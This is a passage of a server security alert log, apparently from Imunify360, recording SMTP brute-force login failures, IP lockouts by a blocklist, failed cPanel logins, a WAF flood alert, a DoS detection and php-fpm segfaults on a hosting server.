Jul  1 00:07:36 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jul  1 00:07:07 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-07-01 00:08:08 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:60386: 535 Incorrect authentication data (set_id=wangjing@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-07-01 00:08:35 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:21896: 535 Incorrect authentication data (set_id=pbs@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jul  1 00:08:06 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.164.246.148
country_id: 1269750
description:
Jul  1 00:08:07 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.164.246.148 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-07-01 00:08:23 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:42296: 535 Incorrect authentication data (set_id=orc@ns5.netmaster.tg)


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 102.64.165.157
country_id: 2363686
description:
[2026-07-01 00:08:29 +0000] info [cpaneld] 102.64.165.157 - mvfxewjz "GET /cpsess3388686496/frontend/jupiter/email_accounts/index.html HTTP/1.1" DEFERRED LOGIN cpaneld: cookie ip check: IP address has changed: IP Address [196.171.122.34] != Current IP Address [102.64.165.157]


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jul  1 00:08:04 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-07-01 00:08:06 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:5020: 535 Incorrect authentication data (set_id=alcon@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jul  1 00:08:21 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jul  1 00:08:33 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.89.137.55
country_id: 3469034
description:
Jul  1 00:08:30 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.89.137.55 has been locked due to Imunify RBL


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 81.30.98.62
country_id: 130758
description:
2026-07-01 00:09:02 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:55402: 535 Incorrect authentication data (set_id=rajz@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jul  1 00:09:00 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-07-01 00:09:06 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:37026: 535 Incorrect authentication data (set_id=accepted@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jul  1 00:09:10 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jul  1 00:09:30 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-07-01 00:09:42 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:22850: 535 Incorrect authentication data (set_id=wahyu@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jul  1 00:09:04 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-07-01 00:09:12 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:45766: 535 Incorrect authentication data (set_id=cdn-3@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-07-01 00:09:32 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:63022: 535 Incorrect authentication data (set_id=redirect@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-07-01 00:10:06 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:21800: 535 Incorrect authentication data (set_id=adsl@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jul  1 00:10:27 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-07-01 00:10:31 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:63860: 535 Incorrect authentication data (set_id=analytics@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jul  1 00:10:01 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jul  1 00:10:04 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-07-01 00:10:03 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:13658: 535 Incorrect authentication data (set_id=guests@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jul  1 00:10:29 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-07-01 00:10:29 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:39250: 535 Incorrect authentication data (set_id=compta@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-07-01 00:11:01 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:18988: 535 Incorrect authentication data (set_id=peter1@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jul  1 00:11:02 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jul  1 00:11:14 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-07-01 00:11:16 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:40118: 535 Incorrect authentication data (set_id=download4@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jul  1 00:11:23 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-07-01 00:11:25 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:15840: 535 Incorrect authentication data (set_id=ot@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-07-01 00:11:04 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:54778: 535 Incorrect authentication data (set_id=fujise@ns5.netmaster.tg)


plugin: modsec
rule: 77987062
name: IM360 WAF: GET add-to-cart flood pattern
abuser: 43.153.122.30
country_id: 6252001
domain: matosshop.tg
description:
IM360 WAF: GET add-to-cart flood pattern||URI:/index.php?add-to-cart=1256||QS:add-to-cart=1256||RSV:8.21||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jul  1 00:11:42 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 84.201.20.38
country_id: 2921044
description:
[2026-07-01 00:11:21 +0000] info [cpaneld] 84.201.20.38 - yvwaocrr "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user yvwaocrr (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jul  1 00:12:21 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jul  1 00:12:25 ns5 kernel: php-fpm[2094439]: segfault at 7ffc38f24f80 ip 0000000000729c3b sp 00007ffc38f24f70 error 6 in php-fpm[400000+4ad000]


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 81.30.98.144
country_id: 130758
description:
2026-07-01 00:12:41 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:51056: 535 Incorrect authentication data (set_id=guru@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-07-01 00:12:15 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:19574: 535 Incorrect authentication data (set_id=piman@ns5.netmaster.tg)


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 182.9.96.1
country_id: 1643084
description:
Denial of Service (DoS) attack was discovered from 182.9.96.1: 80 connections per 30 seconds to 53 port.


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-07-01 00:12:35 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:14062: 535 Incorrect authentication data (set_id=guru@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-07-01 00:12:23 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:56840: 535 Incorrect authentication data (set_id=ast@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-07-01 00:12:01 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:16362: 535 Incorrect authentication data (set_id=berta@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jul  1 00:12:13 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jul  1 00:12:33 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jul  1 00:12:06 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jul  1 00:13:01 ns5 kernel: php-fpm[2094018]: segfault at 7ffc38f24f80 ip 0000000000729c3b sp 00007ffc38f24f70 error 6 in php-fpm[400000+4ad000]


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jul  1 00:13:09 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-07-01 00:13:24 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:54516: 535 Incorrect authentication data (set_id=testserver@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jul  1 00:13:30 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.226.249.155
country_id: 1562822
domain: www.djama.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.djama.tg/event/djama-en-fete-adidogome HTTP/1.1||RSV:8.21||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.71.88.112
country_id: 3469034
description:
Jul  1 00:13:50 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.71.88.112 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jul  1 00:13:18 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-07-01 00:13:20 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:33368: 535 Incorrect authentication data (set_id=manage@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jul  1 00:13:22 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-07-01 00:13:32 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:33464: 535 Incorrect authentication data (set_id=freeman@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-07-01 00:13:11 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:60594: 535 Incorrect authentication data (set_id=afiliados@ns5.netmaster.tg)


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jul  1 00:14:51 ns5 kernel: php-fpm[2094525]: segfault at 7ffc38f24f80 ip 0000000000729c3b sp 00007ffc38f24f70 error 6 in php-fpm[400000+4ad000]


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-07-01 00:14:20 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:9972: 535 Incorrect authentication data (set_id=thai@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jul  1 00:14:06 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-07-01 00:14:08 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:37226: 535 Incorrect authentication data (set_id=1111@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 65.20.252.149
country_id: 99237
description:
Jul  1 00:14:10 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 65.20.252.149 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-07-01 00:14:18 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:30454: 535 Incorrect authentication data (set_id=vmware@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.71.88.112
country_id: 3469034
description:
Jul  1 00:14:05 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.71.88.112 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jul  1 00:14:14 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jul  1 00:14:16 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-07-01 00:14:16 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:9848: 535 Incorrect authentication data (set_id=fireball@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jul  1 00:14:18 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jul  1 00:15:04 ns5 kernel: php-fpm[2094910]: segfault at 7ffc38f24f80 ip 0000000000729c3b sp 00007ffc38f24f70 error 6 in php-fpm[400000+4ad000]


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-07-01 00:15:07 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:51098: 535 Incorrect authentication data (set_id=biblio@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-07-01 00:15:10 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:50702: 535 Incorrect authentication data (set_id=stile@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jul  1 00:15:05 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jul  1 00:15:08 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jul  1 00:15:11 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 167.99.236.81
country_id: 6252001
description:
[2026-07-01 00:15:19 +0000] info [cpaneld] 167.99.236.81 - mpqypjjp "POST /login/ HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mpqypjjp (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jul  1 00:15:02 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-07-01 00:15:04 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:13660: 535 Incorrect authentication data (set_id=load@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-07-01 00:15:13 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:43636: 535 Incorrect authentication data (set_id=apparel-de@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-07-01 00:16:03 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:27084: 535 Incorrect authentication data (set_id=mizuno@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jul  1 00:15:59 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jul  1 00:15:59 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 81.30.98.62
country_id: 130758
description:
2026-07-01 00:16:01 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:47754: 535 Incorrect authentication data (set_id=maravena@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-07-01 00:16:02 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:36994: 535 Incorrect authentication data (set_id=maravena@ns5.netmaster.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 52.200.114.158
country_id: 6252001
description:
[2026-07-01 00:16:21 +0000] info [cpaneld] 52.200.114.158 - camaegdtomgo "POST //login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-07-01 00:16:01 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:47200: 535 Incorrect authentication data (set_id=sergei@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jul  1 00:16:01 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jul  1 00:16:15 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-07-01 00:16:17 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:46890: 535 Incorrect authentication data (set_id=julie@ns5.netmaster.tg)


plugin: ossec
rule: 1010
name: Process segfaulted.
description:
Jul  1 00:17:58 ns5 kernel: php-fpm[2098124]: segfault at 7ffda1d55ff8 ip 0000000000729c6e sp 00007ffda1d55ff0 error 6 in php-fpm[400000+4ad000]


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-07-01 00:17:01 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:44522: 535 Incorrect authentication data (set_id=msql@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jul  1 00:17:12 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jul  1 00:17:12 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-07-01 00:17:14 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:47636: 535 Incorrect authentication data (set_id=expedicao@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 138.197.93.235
country_id: 6252001
description:
Jul  1 00:17:25 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 138.197.93.235 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-07-01 00:17:29 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:45602: 535 Incorrect authentication data (set_id=aim@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jul  1 00:16:59 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-07-01 00:17:14 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:23446: 535 Incorrect authentication data (set_id=test123@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jul  1 00:17:27 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 39.100.91.113
country_id: 1814991
description:
Jul  1 00:17:51 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 39.100.91.113 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jul  1 00:18:13 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jul  1 00:18:03 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jul  1 00:18:05 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-07-01 00:18:15 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:21972: 535 Incorrect authentication data (set_id=curl@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jul  1 00:18:39 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-07-01 00:18:41 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:39778: 535 Incorrect authentication data (set_id=sino@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
